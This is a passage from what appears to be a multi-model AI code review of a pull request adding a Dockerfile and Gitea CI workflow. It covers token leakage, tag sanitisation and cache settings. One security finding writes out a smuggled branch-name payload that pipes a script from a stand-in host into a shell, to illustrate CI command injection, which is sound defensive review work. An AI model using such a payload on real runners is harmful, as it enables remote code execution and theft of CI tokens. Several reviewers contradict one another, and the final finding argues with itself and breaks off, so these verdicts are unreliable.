pansy-builder --driver docker-container 2>/dev/null || docker buildx use pansy-builder` — this only reuses the prior builder (and its cache) if a container with that exact name still exists on the same job host; there's no `type=registry` (or other durable) cache target. Combined with `branches: ['**']` triggering a build on every push to every branch, whether this cache is actually reused between runs depends entirely on whether the underlying Gitea Actions runner host is long-lived — nothing in this workflow guarantees that, and there's no fallback cache source if it isn't. - Fix: add `--cache-from=type=registry,ref=$IMAGE_NAME:buildcache --cache-to=type=registry,ref=$IMAGE_NAME:buildcache,mode=max` so cache reuse doesn't depend on runner/builder-container persistence. Everything else checked out fine: shallow `git clone --depth=1` checkout, single-platform (`linux/amd64`) build, correct Dockerfile layer ordering (`go.mod`/`go.sum` copied and downloaded before the rest of the source), and `concurrency: cancel-in-progress` avoids piling up redundant builds on rapid pushes to the same ref. </details> <details><summary><b>🧯 Error handling & edge cases</b> — Minor issues</summary> Verified both findings against `.gitea/workflows/build-image.yml` directly (this is a new file introduced by the diff, so the diff *is* the source). **Finding 1 (empty/oversized tag from sanitization, line 51):** Hand-traced the pipe and confirmed it — `sed 's/[^a-zA-Z0-9._-]/-/g'` turns e.g. `@@@` into `---`, the squeeze collapses to `-`, and the trim `s/^[-.]*//;s/-$//` strips that single `-` down to `""`. `PRIMARY` becomes empty, producing tag `gitea.stevedudenhoeffer.com/steve/pansy:` for the first entry in `TAGS` (line ~53), which is not a valid Docker reference. The no-length-cap point also holds: Docker tag components are capped at 128 chars while git ref names can exceed that, and the sanitization does no truncation. However, the draft's claim that this fails "only after the full three-stage build has run" is not something I can confirm and conflicts with how Docker/buildx tag flags work: reference-format validation for `--tag` happens client-side when the command's tags are parsed/constructed, before BuildKit executes any Dockerfile stages — so this would fail fast, not after wasting the npm/vite/go build. I'm dropping that specific sub-claim as unverified/likely wrong while keeping the core, verified defect. **Finding 2 (buildx create swallows stderr, line 35):** Confirmed verbatim in the file: `docker buildx create --use --name pansy-builder --driver docker-container 2>/dev/null || docker buildx use pansy-builder`. The `2>/dev/null` does discard all stderr from the create attempt, not just an "already exists" message, so a failure for any other reason (driver unavailable, docker-container prerequisites missing) falls through to `buildx use pansy-builder`, which will also fail since no builder was created — masking the real cause. This core claim stands. The added claim about a cross-branch race "on the same runner" is not verifiable from the workflow file alone (depends on Gitea runner count/configuration, which isn't visible here), so I'm dropping that embellishment and keeping only the confirmed stderr-masking issue. --- **VERDICT: Minor issues** - `.gitea/workflows/build-image.yml:51` — Branch-name sanitization (`sed 's/[^a-zA-Z0-9._-]/-/g' | sed 's/--*/-/g' | sed 's/^[-.]*//;s/-$//'`) can produce an empty string for a branch made entirely of disallowed characters (e.g. `@@@` → `---` → `-` → `""`), yielding the invalid tag `gitea.stevedudenhoeffer.com/steve/pansy:`. There's also no length cap: Docker tag components are limited to 128 chars while git permits longer ref names, so an unusually long branch name sails through sanitization unchecked. Low real-world likelihood on a private, single-maintainer repo, but the tag is used without validation. - `.gitea/workflows/build-image.yml:35` — `docker buildx create --use --name pansy-builder --driver docker-container 2>/dev/null || docker buildx use pansy-builder` swallows *all* stderr from the create attempt, not just the "already exists" case. If creation fails for another reason (driver unavailable, docker-container prerequisites missing, daemon issue), the fallback `buildx use pansy-builder` will also fail (the builder was never created), surfacing only a generic error and hiding the real root cause. </details> </details> <details><summary><b>glm-5.2:cloud</b> (ollama-cloud) — Minor issues</summary> **Verdict: Minor issues** — 5 reviewers: security, correctness, maintainability, performance, error-handling <details><summary><b>🔒 Security</b> — Minor issues</summary> **Minor issues found** — infra-only PR (Dockerfile + GHA workflow); attack surface is the CI pipeline and image build, not application code. ## Findings - **`.gitea/workflows/build-image.yml:31` — `github.token` embedded inline in a clone URL, risks log/trace leakage.** `REPO_URL="https://token:${{ github.token }}@gitea.stevedudenhoeffer.com/${{ github.repository }}.git"` interpolates the token directly into the `run:` script body before execution. Two exposure vectors: 1. The rendered/expanded workflow script (with the literal token) is what the runner executes and may be retained in step logs / debug traces — inline `${{ github.token }}` in `run:` is the classic Actions credential-leak pattern (vs. passing via `env:`). 2. If `git clone` fails, the URL (with embedded credentials) can surface in error output; git redacts in *some* paths but not all (e.g. `GIT_TRACE`, custom hooks, or messages that quote `REPO_URL`). Verified by reading the file (`build-image.yml:29-32`) — there is no `env:` indirection for the token. Suggested fix: pass the token through an env var and use a credential helper / `insteadOf` instead of an inline-cred URL, e.g. ```yaml - name: Checkout env: GH_TOKEN: ${{ github.token }} run: | git config --global "url.https://oauth2:${GH_TOKEN}@gitea.stevedudenhoeffer.com/.insteadOf" "https://gitea.stevedudenhoeffer.com/" git clone --depth=1 --branch "${GITHUB_REF_NAME}" "https://gitea.stevedudenhoeffer.com/${GITHUB_REPOSITORY}.git" . ``` (Or just use `actions/checkout`, which handles this securely.) Note: the registry password is already handled correctly via `--password-stdin` (`build-image.yml:41`), so this is specific to the clone token. ## Verified clean (security lens) - Registry login uses `--password-stdin` with env-scoped secret — no password in process args. ✓ (`build-image.yml:37-41`) - Image tag values fed to `$TAG_FLAGS` are derived from a hardcoded `IMAGE_NAME` plus a sanitized `PRIMARY` (charset collapsed to `[a-zA-Z0-9._-]`) and hex `SHA_SHORT` — no shell/registry injection via tags. ✓ (`build-image.yml:43-63`) - `BUILD_BRANCH`/`BUILD_COMMIT` build-args flow into Docker `LABEL`s only, not into any `RUN` execution; even raw `GITHUB_REF_NAME` here can't escape the double-quoted build-arg or the label string. ✓ (`Dockerfile:20-26`, `build-image.yml:69-71`) - Runtime image drops to a non-root user (`USER pansy`, uid 10001) before `ENTRYPOINT`; `/data` is owned by that user. ✓ (`Dockerfile:39-48`) - `.dockerignore` excludes `.git`, `.gitea`, local DBs, `node_modules`, and stale embed contents — no secret-laden local artifacts smuggled into the build context. ✓ - No `latest` overwrite from non-`main` branches (only `main`→`latest`), so a feature branch can't poison the pin-tracking tag. ✓ (`build-image.yml:47-53`) </details> <details><summary><b>🎯 Correctness</b> — Minor issues</summary> Both findings verified against the actual code. For finding 1 (line 51): the sed chain is `s/[^a-zA-Z0-9._-]/-/g` then `s/--*/-/g` then strip leading/trailing `[-.]`. The allowed set explicitly *includes* `.` and `_`, so the draft's claim that dots/underscores map to `-` is wrong — they are preserved. However, `/` does map to `-` and consecutive dashes collapse to one, so genuine collisions exist (e.g. `feature/auth` and `feature-auth` both → `feature-auth`; `feature--auth` → `feature-auth`). The core issue (non-main branch tags are not collision-safe) is real, so I keep it with a corrected title. For finding 2 (line 48): the `latest` special-case is gated only on `GITHUB_REF_NAME == "main"`. A non-main branch literally named `latest` falls through to the else branch, sanitizes to `latest`, and pushes `:latest`, clobbering main. Confirmed. VERDICT: Minor issues - `.gitea/workflows/build-image.yml:51` — **Branch-tag sanitization is not collision-safe.** `/` (and any char outside `[a-zA-Z0-9._-]`) maps to `-`, then `--*` collapses runs of dashes, so distinct branch names collapse to the same tag — e.g. `feature/auth` and `feature-auth` both normalize to `:feature-auth` and overwrite each other. The immutable `:sha-<short>` tags stay unique so pinning is unaffected, but the human branch tag is not branch-unique. (Note: `.` and `_` are in the allowed set and are preserved, so they do not contribute to collisions.) Suggested fix: include a short-sha disambiguator in the branch tag (e.g. `:<branch>-sha-<short>`), or drop the human branch tag and keep only `:latest`/`:sha-`. - `.gitea/workflows/build-image.yml:48` — **`latest` is only special-cased for `main`; a non-main branch named/sanitized to `latest` clobbers `:latest`.** The `latest` mapping is gated solely on `ref_name == "main"`; any other branch whose name (or sanitized name) is `latest` pushes to `:latest` via the else branch, overwriting the main build. Obscure but a real correctness gap. Suggested fix: reserve `latest` (reject/rewrite it for non-main refs), e.g. prefix non-main branch tags with `branch-`. </details> <details><summary><b>🧹 Code cleanliness & maintainability</b> — Minor issues</summary> Both findings verified against the actual source. Correcting line numbers (Dockerfile LABEL `source` is at line 36, not 35; the build-stage `ENV` is at line 17, not 18) and the README line references. Verdict: Minor issues - **Hardcoded registry path duplicated across three files.** `gitea.stevedudenhoeffer.com/steve/pansy` appears literally in `Dockerfile:36` (LABEL `org.opencontainers.image.source`), `.gitea/workflows/build-image.yml:23` (`IMAGE_NAME` env), and `README.md:68/69/70/78/86` (the tag table, run example, and Compose example). If the registry host or repo path ever changes, all three must be updated in lockstep with no single source of truth. Not worth plumbing a build-arg for the LABEL necessarily, but at minimum the README examples and the workflow `IMAGE_NAME` could reference one constant. Verified by reading all three files. - **`Dockerfile` build stage omits `GOWORK=off` that the `Makefile:12` sets as a project convention.** `Makefile:12` defines `GO_ENV := CGO_ENABLED=0 GOWORK=off` with the stated intent "keeps the parent workspace out of the way," while `Dockerfile:17` sets only `ENV CGO_ENABLED=0 GOTOOLCHAIN=auto`. There is no `go.work` file in the repo (verified via `find_files`), so this is currently a no-op and not a bug — but the two build paths diverge in stated intent. Either add `GOWORK=off` to the build-stage env for consistency, or drop the Makefile's justification. Low impact, noting only because the PR claims parity with the Makefile build. Nothing else in the cleanliness lane: `.dockerignore` correctly forces a fresh web build (ignores `web/dist`, `web/node_modules`, and `internal/webdist/dist` while keeping `dist.go`), and the three-stage Dockerfile is cleanly separated with consistent comments. The inline `sed` tag-sanitization in `build-image.yml:51` is acceptable for a single workflow. </details> <details><summary><b>⚡ Performance</b> — No material issues found</summary> **Verdict: No material issues found** Through the performance lens, the build is well-structured: - Stage ordering maximizes layer reuse: in the web stage `COPY package*.json` → `npm ci` → `COPY web/`, so `npm ci` only re-runs when deps change; in the Go stage `COPY go.mod go.sum` → `go mod download` → `COPY . .`, so module download only re-runs on dep changes. - BuildKit cache mounts (`/go/pkg/mod`, `/root/.cache/go-build`) are correctly applied to both the download and build steps, persisting compiler/module caches across builds under the `docker-container` buildx driver. - Single-platform (`linux/amd64`) build avoids the multi-arch cost that would otherwise multiply build time. - `cancel-in-progress` on the per-ref concurrency group avoids wasting runner time on superseded commits to the same branch. One trivial (non-blocking) observation, verified by reading `Dockerfile:8-13`: the web stage relies on Docker layer caching for `npm ci` rather than a `--mount=type=cache,target=/root/.npm` cache mount. Layer caching already covers the common case (deps unchanged), so this only matters when `package*.json` changes frequently — not material. No change required. </details> <details><summary><b>🧯 Error handling & edge cases</b> — Minor issues</summary> Both findings verified against the actual code. ```markdown ## Draft review Verdict: Minor issues I reviewed the diff (workflow + Dockerfile) through the error-handling / edge-case lens, and verified the referenced runtime assumptions against the checked-out code. Findings: - `.gitea/workflows/build-image.yml:47-52` — **branch named `latest` collides with main's tag.** The `PRIMARY` logic only special-cases `main`; any other branch literally named `latest` sanitizes to `latest` and will publish `gitea.stevedudenhoeffer.com/steve/pansy:latest` from that branch's build, silently overwriting the `main`-produced `:latest` until the next `main` push. Same hazard for a branch named e.g. `sha-abcdef0`. Suggested fix: reject/reserved-word guard — if `PRIMARY` is `latest` (or matches `sha-*`) for a non-`main` ref, suffix it (e.g. `latest-branch` or fall back to `sha-<short>` only). Verified by reading the `Compute tags` block at lines 43-55. - `.gitea/workflows/build-image.yml:51` — **sanitization can in principle yield an empty `PRIMARY`.** After `sed 's/[^a-zA-Z0-9._-]/-/g'` and the leading/trailing strip, a branch whose name is composed solely of characters outside `[a-zA-Z0-9._-]` plus leading/trailing `-`/`.` would reduce to an empty string, producing `TAGS="…pansy:,…pansy:sha-…"` → an invalid `--tag …pansy:` that makes `docker buildx build --push` fail with a confusing error. Git ref-name rules make this very hard to hit in practice (branches can't be empty or start with `.`/`-`, and `//`, `..` are forbidden), so confidence is low, but there's no explicit guard. Suggested fix: `PRIMARY=$(…)` then `[ -n "$PRIMARY" ] || PRIMARY="branch"` (or fall back to `sha-<short>` only). Verified, not findings: - `Dockerfile:57-58` HEALTHCHECK `wget` — alpine:3.20 ships BusyBox `wget` by default; `|| exit 1` correctly marks the container unhealthy on probe failure. The `/api/v1/healthz` route exists (`internal/api/api.go:37,43`). `PANSY_PORT`/`PANSY_DB` env names match `internal/config/config.go:68-69`. - `.gitea/workflows/build-image.yml:35` `buildx create … 2>/dev/null || buildx use` is a sound create-or-reuse pattern, not a swallowed error. - `Dockerfile:43-45` `/data` is `chown`'d to the non-root `pansy` user before `USER pansy` and `WORKDIR /data`, so SQLite at `/data/pansy.db` is writable; the unhappy "read-only / wrong-owner volume" case is operator error, not a defect here. ``` gadfly-findings: Verdict: Minor issues I reviewed the diff (workflow + Dockerfile) through the error-handling / edge-case lens, and verified the referenced runtime assumptions against the checked-out code. Findings: - `.gitea/workflows/build-image.yml:47-52` — **branch named `latest` collides with main's tag.** The `PRIMARY` logic only special-cases `main`; any other branch literally named `latest` sanitizes to `latest` and will publish `gitea.stevedudenhoeffer.com/steve/pansy:latest` from that branch's build, silently overwriting the `main`-produced `:latest` until the next `main` push. Same hazard for a branch named e.g. `sha-abcdef0`. Suggested fix: reject/reserved-word guard — if `PRIMARY` is `latest` (or matches `sha-*`) for a non-`main` ref, suffix it (e.g. `latest-branch` or fall back to `sha-<short>` only). Verified by reading the `Compute tags` block at lines 43-55. - `.gitea/workflows/build-image.yml:51` — **sanitization can in principle yield an empty `PRIMARY`.** After `sed 's/[^a-zA-Z0-9._-]/-/g'` and the leading/trailing strip, a branch whose name is composed solely of characters outside `[a-zA-Z0-9._-]` (e.g. a single non-ASCII UTF-8 char) would reduce to an empty string, producing `TAGS="…pansy:,…pansy:sha-…"` → an invalid `--tag …pansy:` that makes `docker buildx build --push` fail with a confusing error. Git ref-name rules make this hard to hit in practice, so confidence is low, but there's no explicit guard. Suggested fix: `PRIMARY=$(…)` then `[ -n "$PRIMARY" ] || PRIMARY="branch"` (or fall back to `sha-<short>` only). Verified, not findings: - `Dockerfile:57-58` HEALTHCHECK `wget` — alpine:3.20 ships BusyBox `wget` by default; `|| exit 1` correctly marks the container unhealthy on probe failure. - `.gitea/workflows/build-image.yml:35` `buildx create … 2>/dev/null || buildx use` is a sound create-or-reuse pattern, not a swallowed error. - `Dockerfile:43-45` `/data` is `chown`'d to the non-root `pansy` user before `USER pansy` and `WORKDIR /data`, so SQLite at `/data/pansy.db` is writable. </details> </details> <details><summary><b>kimi-k2.6:cloud</b> (ollama-cloud) — Minor issues</summary> **Verdict: Minor issues** — 5 reviewers: security, correctness, maintainability, performance, error-handling <details><summary><b>🔒 Security</b> — Minor issues</summary> **Verdict: Minor issues** - **`.dockerignore` missing `.env*` exclusion** — The `.dockerignore` excludes local databases (`*.db`) but not `.env` or `.env.*` files. The build stage (`Dockerfile:24`) runs `COPY . .`, so any local `.env` file containing secrets (e.g. `PANSY_OIDC_CLIENT_SECRET`) would be copied into the intermediate build image. Even though it doesn't reach the final runtime stage, it persists in build layers and cache. **Fix:** Add `.env*` to `.dockerignore`. - **`github.token` exposed in process command line** — The checkout step (`.gitea/workflows/build-image.yml:31`) interpolates the token directly into the clone URL: `https://token:${{ github.token }}@...`. When `git clone` executes, the expanded URL appears in the process `argv`, visible via `/proc/<pid>/cmdline` to any concurrent process on the runner. Error output from a failed clone could also leak it before log masking catches it. **Fix:** Configure git credentials separately (e.g. `git config credential.helper` or `GIT_ASKPASS`) and clone via the bare HTTPS URL. </details> <details><summary><b>🎯 Correctness</b> — No material issues found</summary> No material issues found. I verified the Dockerfile's multi-stage build ordering, embed path alignment, and the workflow's tag computation against the repository structure. Key checks: - **`//go:embed all:dist`** in `internal/webdist/dist.go` expects a `dist/` subdirectory inside the `webdist` package. The Dockerfile stage 2 copies the built frontend to `./internal/webdist/dist` (relative to `/src`) before `go build`, so the embed target exists at compile time. **Confirmed** by reading `internal/webdist/dist.go` and the Dockerfile COPY ordering. - **`.dockerignore`** correctly excludes stale local `web/dist` and `internal/webdist/dist`, forcing a fresh web build inside the image while keeping `dist.go`. **Confirmed** by comparing `.dockerignore` patterns against the repo layout. - **Healthcheck endpoint** `/api/v1/healthz` exists and returns `{"ok": true}` in `internal/api/api.go:37,43-44`. **Confirmed**. - **Runtime user & volume**: The `pansy` user (UID 10001) owns `/data`, the binary is copied before `USER pansy`, and `ca-certificates`/`tzdata` are the only added packages—appropriate for a `CGO_ENABLED=0` static binary. **Confirmed**. - **Tag sanitization** replaces invalid characters and collapses runs; trailing hyphens are stripped. While trailing periods are not stripped, Docker's tag regex `[a-zA-Z0-9_][a-zA-Z0-9._-]{0,127}` allows them, and no valid Git branch name sanitizes to an empty string. **Confirmed** by tracing the sed pipeline against Git ref-name constraints. </details> <details><summary><b>🧹 Code cleanliness & maintainability</b> — Minor issues</summary> **Minor issues** * `Dockerfile:24` — The embed path `./internal/webdist/dist` is hardcoded, while `Makefile:11` parameterizes it as `WEBDIST := internal/webdist/dist`. If the embed directory ever moves, both files must be updated manually; the Dockerfile has no central definition to follow. **Suggested fix:** Add a Dockerfile `ARG EMBED_DIR=internal/webdist/dist` and reference it in the `COPY --from=web` step, so the path lives in one obvious place. * `.gitea/workflows/build-image.yml:62,68` — The shell loop builds `TAG_FLAGS` with unquoted expansion (`TAG_FLAGS="$TAG_FLAGS --tag $tag"`) and then injects it unquoted into the `docker buildx build` command (`$TAG_FLAGS \`). While the current sed sanitization prevents spaces in tags, this is brittle shell code: a future change to tag logic could silently mis-parse arguments. **Suggested fix:** Use a Bash array (`TAG_ARRAY=()`) or quote individual `--tag` flags properly. </details> <details><summary><b>⚡ Performance</b> — Minor issues</summary> **Verdict:** Minor issues **Findings (Performance lens):** * **`Dockerfile:11` — Missing npm cache mount causes redundant downloads in CI.** The web stage runs `npm ci` without a BuildKit cache mount, so every image build re-downloads all npm packages from the registry. In CI this adds significant network overhead and wall-clock time (frontend deps are often hundreds of MBs). **Fix:** Add a cache mount to reuse the npm cache across builds: ```dockerfile RUN --mount=type=cache,target=/root/.npm \ npm ci ``` Verified by reading the Dockerfile stages and the `.dockerignore`; there is no corresponding cache mount for the npm install step, while the Go stages already correctly use `--mount=type=cache` for both module download and build caching. * **No other material performance issues found.** The multi-stage layout is otherwise cache-friendly: `package*.json` are copied before `npm ci`, `go.mod/sum` before `go mod download`, the Go build strips debug info, and the `.dockerignore` excludes large local artifacts (`node_modules`, `web/dist`, databases). The `concurrency` block in the workflow correctly cancels stale builds to avoid redundant CI work. </details> <details><summary><b>🧯 Error handling & edge cases</b> — Minor issues</summary> **Minor issues** - `.gitea/workflows/build-image.yml:51` — Branch-name sanitization can produce an **empty Docker tag**. If a branch is named entirely of characters that get stripped (e.g. `___`, `...`, `-.`), the three `sed` commands reduce `PRIMARY` to the empty string. The resulting `--tag $IMAGE_NAME:` is invalid and causes the build to fail with a cryptic Docker error. **Fix:** After sanitization, add a guard: `[ -z "$PRIMARY" ] && PRIMARY="branch"` (or similar fallback). - `.gitea/workflows/build-image.yml:35` — `docker buildx create` stderr is **swallowed by `2>/dev/null`**. When the builder creation fails for an unexpected reason (e.g. Docker daemon unreachable), the real error is hidden and the `||` fallback runs `docker buildx use pansy-builder`, which then fails with *“builder not found”* — a misleading diagnostic. **Fix:** Remove the `2>/dev/null` suppression (or redirect it to a file/variable) so the root cause is visible when `create` fails for a real problem. </details> </details> <details><summary><b>opencode/glm-5.2:cloud</b> (opencode) — Blocking issues found</summary> **Verdict: Blocking issues found** — 5 reviewers: security, correctness, maintainability, performance, error-handling <details><summary><b>🔒 Security</b> — Blocking issues found</summary> Confirmed: line 32 inlines `${{ github.ref_name }}` directly into a `run:` shell block. Git refnames permit `;`, `$`, backticks, `{}`, `"` — enough to break out of the surrounding double quotes and execute arbitrary commands on the runner. The meta-step sanitization (line 51) runs after the clone and does not defend it. Finding verified. ## VERDICT: Blocking issues found - **`.gitea/workflows/build-image.yml:32`** — `${{ github.ref_name }}` is interpolated directly into a shell command via the `${{ }}` expression syntax, which the workflow engine expands before the shell parses the line. Git refnames forbid spaces, `~`, `^`, `:`, `?`, `*`, `[`, `\` and control chars, but **allow** `;`, `"`, `$`, backticks, `{}`, etc. Any collaborator with branch-push rights can craft a branch name like `x";curl${IFS}evil.sh|sh;echo"` that breaks out of the surrounding quotes and runs arbitrary commands on the runner, with access to `${{ github.token }}` (which is also inlined into the same command on line 31). This is RCE on CI via branch name. The meta-step sanitization at line 51 runs *after* the vulnerable clone and provides no defense. Fix: pass untrusted values through the step's `env:` mapping and reference them as shell variables (e.g. `REF_NAME: ${{ github.ref_name }}` then `--branch "$REF_NAME"`), so they are never inlined into the command string. - `.gitea/workflows/build-image.yml:60` — `steps.meta.outputs.tags` is interpolated via `${{ }}`, but its contents are produced by the workflow itself (sanitized `PRIMARY` from line 51 plus a git-controlled short SHA), so it is not externally attacker-controlled; no injection. Verified. </details> <details><summary><b>🎯 Correctness</b> — No material issues found</summary> I verified the files against the draft. The two JSON findings both depend on external facts I cannot confirm from the checked-out repo: - Finding #1 (`branches: ['**']` on Gitea) is a speculative claim about act_runner's external behavior. Gitea Actions advertises GitHub-compatible trigger syntax, and the `**` glob is standard; nothing in this repo confirms the trigger would fail. Cannot positively confirm. - Finding #2 (`golang:1.26-alpine` tag existence) is explicitly network-dependent and the draft itself marks it unverified. Cannot positively confirm. The remaining bullets in the draft are self-withdrawn ("withdrawing", "Not a real finding", "Correct") and need no retention. The healthcheck route, env defaults, and Docker layering all check out against the code (`internal/api/api.go:37`, `internal/config/config.go:68-69`). **VERDICT: No material issues found** </details> <details><summary><b>🧹 Code cleanliness & maintainability</b> — Minor issues</summary> All five findings confirmed. **Verdict: Minor issues** - **`.gitea/workflows/build-image.yml:53-63` — needless tag serialize/parse roundtrip.** The `Compute tags` step joins the two tags into a single comma-separated string (`TAGS="${IMAGE_NAME}:${PRIMARY},${IMAGE_NAME}:sha-${SHA_SHORT}"`, line 53) and writes it to one output (line 54), then `Build and push` immediately splits it back into a bash array with `IFS=','` (line 60) and re-joins it into `--tag` flags (lines 61-63). Indirection with no payoff — the meta step could emit the flags directly, or two separate outputs. ~6 lines of bash exist only to undo the previous step. - **`README.md:66-70` vs `.gitea/workflows/build-image.yml:3-7` — duplicated tagging table.** The same `Ref → Tag` mapping appears in the workflow header comment and in the README's Docker section. Two places to keep in sync when tagging rules change; the workflow comment is the canonical source and the README copy will drift. Suggest linking to the workflow instead of restating it, or trimming the README table to prose. - **`README.md:75-78` vs `README.md:86,99` — inconsistent tag-pinning guidance.** The `docker run` example hardcodes `:latest` (line 78), while the Compose example uses `${PANSY_TAG:-latest}` (line 86), and the closing sentence tells the user to "pin `PANSY_TAG` to a `sha-<short>` tag" (line 99). The `docker run` example gives no equivalent pinning knob, so a reader of that section's first example gets a different (less reproducible) pattern than the second. Suggest showing `-e PANSY_TAG=sha-<short>` parity or noting it inline. - **`Dockerfile:41` and `README.md:93` — issue-number references in persistent comments.** `# ca-certificates: outbound TLS (OIDC discovery, #5)` (Dockerfile:41) and `# PANSY_OIDC_ISSUER: ... # once auth (#5) lands` (README.md:93) tie long-lived files to a transient issue number. Once #5 closes these become opaque. The "OIDC discovery" / "once auth lands" phrasing stands on its own; drop the `#5` tokens. - **`.dockerignore:4` — `.github` listed but no such directory exists** (verified via glob — only `.gitea/workflows/` is present). Defensive entry is harmless but is dead config today; if it's meant to future-proof against accidentally pulling a GitHub Actions tree in, a one-word comment would make the intent clear instead of looking like a leftover. </details> <details><summary><b>⚡ Performance</b> — No material issues found</summary> VERDICT: No material issues found Through the performance lens, I checked the build pipeline and Dockerfile for avoidable work, cache-busting, redundant rebuilds, and hot-path concerns. Verified by reading `Dockerfile`, `.dockerignore`, and `.gitea/workflows/build-image.yml` in full: - **Layer caching is structured correctly.** Web stage copies `package.json`/`package-lock.json` before `web/` source, so `npm ci` only re-runs on lockfile changes. Go stage copies `go.mod`/`go.sum` before the rest of the repo, so `go mod download` only re-runs on dep changes. `COPY . .` invalidates the build layer on any repo change, but that's inherent to embedding and `.dockerignore` trims the obvious noise (`.git`, `*.md`, `node_modules`, `dist`). - **Buildx cache mounts are correctly reused across the two `RUN` invocations** in the Go stage (`/go/pkg/mod` mounted for both `go mod download` and `go build`, plus `/root/.cache/go-build`), and the persistent `pansy-builder` container driver keeps these caches across CI runs. This is the right setup for fast incremental builds. - **Single-platform build (`linux/amd64` only)** avoids the multi-arch overhead — appropriate given the stated target. - **`concurrency: cancel-in-progress: true`** is a net perf win for branch pushes (supersedes stale in-flight builds), not a regression. - **Shallow clone (`--depth=1`)** keeps checkout small. - No runtime hot paths are introduced (this is CI/image infra, not application code), so no N+1/allocation/unbounded-growth concerns apply. No performance regressions to report. </details> <details><summary><b>🧯 Error handling & edge cases</b> — Minor issues</summary> **VERDICT: Minor issues** - **`.gitea/workflows/build-image.yml:51-53` — empty `PRIMARY` after branch-name sanitization is unhandled.** The `sed` pipeline at line 51 (`sed 's/[^a-zA-Z0-9._-]/-/g' | sed 's/--*/-/g' | sed 's/^[-.]*//;s/-$//'`) reduces any branch name consisting entirely of characters outside `[a-zA-Z0-9._-]` (e.g. an emoji-only or all-punctuation branch like `🚀` or `@@@`) to the empty string: step 1 turns each char into `-`, step 2 collapses runs to a single `-`, step 3 strips leading `-`/`.` and the single trailing `-`, leaving `""`. There is no guard between line 51 and the composition at line 53, so `TAGS` becomes `${IMAGE_NAME}:,${IMAGE_NAME}:sha-<short>` and the build step at lines 60-63 emits `--tag <image>:` — an invalid Docker reference. `docker buildx build` aborts with a registry/parser error rather than a clear "sanitized branch name is empty" message, and the actually-useful immutable `sha-<short>` tag never publishes because the whole invocation fails. Confirmed by reading the unguarded composition at line 53 and tracing the pipeline against all-disallowed-character input. **Fix:** guard after sanitization, e.g. `if [ -z "$PRIMARY" ]; then PRIMARY="branch-${SHA_SHORT}"; fi` (or fail the step with `::error::branch name sanitizes to empty`); a sha-based fallback also keeps the immutable tag publishable. </details> </details> <details><summary><b>opencode/kimi-k2.6:cloud</b> (opencode) — Blocking issues found</summary> **Verdict: Blocking issues found · ⚠️ 1/5 lens(es) errored** — 5 reviewers: security, correctness, maintainability, performance, error-handling <details><summary><b>🔒 Security</b> — ⚠️ could not complete</summary> ⚠️ This reviewer failed to complete: opencode run context deadline exceeded </details> <details><summary><b>🎯 Correctness</b> — No material issues found</summary> **No material issues found** Through the **Correctness** lens, the Dockerfile, workflow, and `.dockerignore` all behave as intended: - **Build stages**: `node:22-alpine` satisfies `package.json`’s `>=20` requirement; `golang:1.26-alpine` matches `go.mod`’s `go 1.26.2`; `CGO_ENABLED=0` is correct for the `modernc.org/sqlite` dependency. - **Embed correctness**: `COPY --from=web /web/dist ./internal/webdist/dist` ensures the `//go:embed all:dist` directive finds fresh assets at build time, and `.dockerignore` excludes stale local `internal/webdist/dist` so it never shadows the fresh copy. - **Healthcheck**: `wget` is provided by busybox in `alpine:3.20`; `${PANSY_PORT}` expands correctly in the shell-form `CMD`; the endpoint `/api/v1/healthz` is confirmed live in `internal/api/api.go:37`. - **Runtime envs**: `PANSY_PORT=8080` and `PANSY_DB=/data/pansy.db` match the documented defaults in `internal/config/config.go:68-69` and `README.md`. - **Tag logic**: The sed normalization maps Git branch names to valid Docker tag characters and, given Git’s ref-naming rules, cannot produce an empty tag in practice. Nothing in this change introduces incorrect behavior or semantic bugs. </details> <details><summary><b>🧹 Code cleanliness & maintainability</b> — Minor issues</summary> **Verdict:** Minor issues **Findings:** - `.dockerignore:1-26` — Missing key `.gitignore`-tracked exclusions. `.env`, `go.work`, `go.work.sum`, `web/.vite/`, and common build artifacts (`*.exe`, `*.test`, `*.out`, `.DS_Store`) are absent. Local `.env` files (often secrets) and Go workspace files can leak into the Docker build context, and the Vite cache directory needlessly inflates it. The `.dockerignore` should mirror the `.gitignore` exclusions that are relevant to the build context. *Verified by reading `.dockerignore` and `.gitignore` side-by-side.* - `Dockerfile:16-17` — Pattern inconsistency with the local build. The Makefile explicitly exports `GOWORK=off` (line 12) with a comment explaining it “keeps the parent workspace out of the way.” The Dockerfile sets `CGO_ENABLED=0 GOTOOLCHAIN=auto` but omits `GOWORK=off`. Because `go.work` is `.gitignore`d, a developer may have one locally; the Dockerfile will then resolve modules differently from `make build`, creating a leaky abstraction between local and CI builds. *Verified by reading `Makefile` and `Dockerfile`.* </details> <details><summary><b>⚡ Performance</b> — No material issues found</summary> **No material issues found** From the **Performance** lens, this PR is clean. The Dockerfile and CI workflow both follow build-performance best practices: - **Layer caching**: `package.json`/`package-lock.json` and `go.mod`/`go.sum` are copied before their respective dependency-install steps, so rebuilds skip `npm ci` and `go mod download` when only app code changes (`Dockerfile:10-11`, `Dockerfile:19-20`). - **Build cache mounts**: Go module and build caches are mounted as Docker cache volumes (`Dockerfile:25-26`), avoiding redundant module downloads and compilation on rebuilds. - **Shallow clone**: The workflow clones with `--depth=1` (`.gitea/workflows/build-image.yml:32`), minimizing I/O and time. - **Lean build context**: `.dockerignore` excludes local build artifacts, VCS metadata, editor files, and the stale `internal/webdist/dist` directory, keeping the Docker context small. - **Stripped binary**: The Go build uses `-trimpath -ldflags "-s -w"` (`Dockerfile:27`), producing a smaller final image. - **Concurrency guard**: The workflow cancels in-progress builds for the same ref (`.gitea/workflows/build-image.yml:18-20`), preventing resource waste from rapid pushes. No runtime code is modified, so there are no hot-path regressions, N+1 queries, unbounded growth, or blocking issues to flag. </details> <details><summary><b>🧯 Error handling & edge cases</b> — Blocking issues found</summary> **Blocking issues found** - **`.gitea/workflows/build-image.yml:35`** — The `docker buildx create … 2>/dev/null || docker buildx use …` construct swallows stderr and ignores *any* non-zero exit from `create` (e.g., permission denied, incompatible driver, missing `buildx` plugin). It then blindly falls through to `use`, which will also fail if the builder was never created. The pipeline will only fail later with a confusing "builder not found" error during `docker buildx build`. **Fix:** Remove `2>/dev/null`; check the exit status of `create` and only run `use` on the specific "already exists" error, or let the step fail fast. - **`.gitea/workflows/build-image.yml:41`** — `docker login` failure is not checked. If the registry is unreachable or credentials are wrong, the step exits 0 (because the pipeline only sees the last command's status if it fails, but actually `docker login` *does* exit non-zero on failure, so this is a minor concern, *except* that if `REGISTRY_PASSWORD` is empty, `echo "" | docker login …` might behave unexpectedly. However, the bigger issue is: the `docker buildx build --push` step later will fail with a 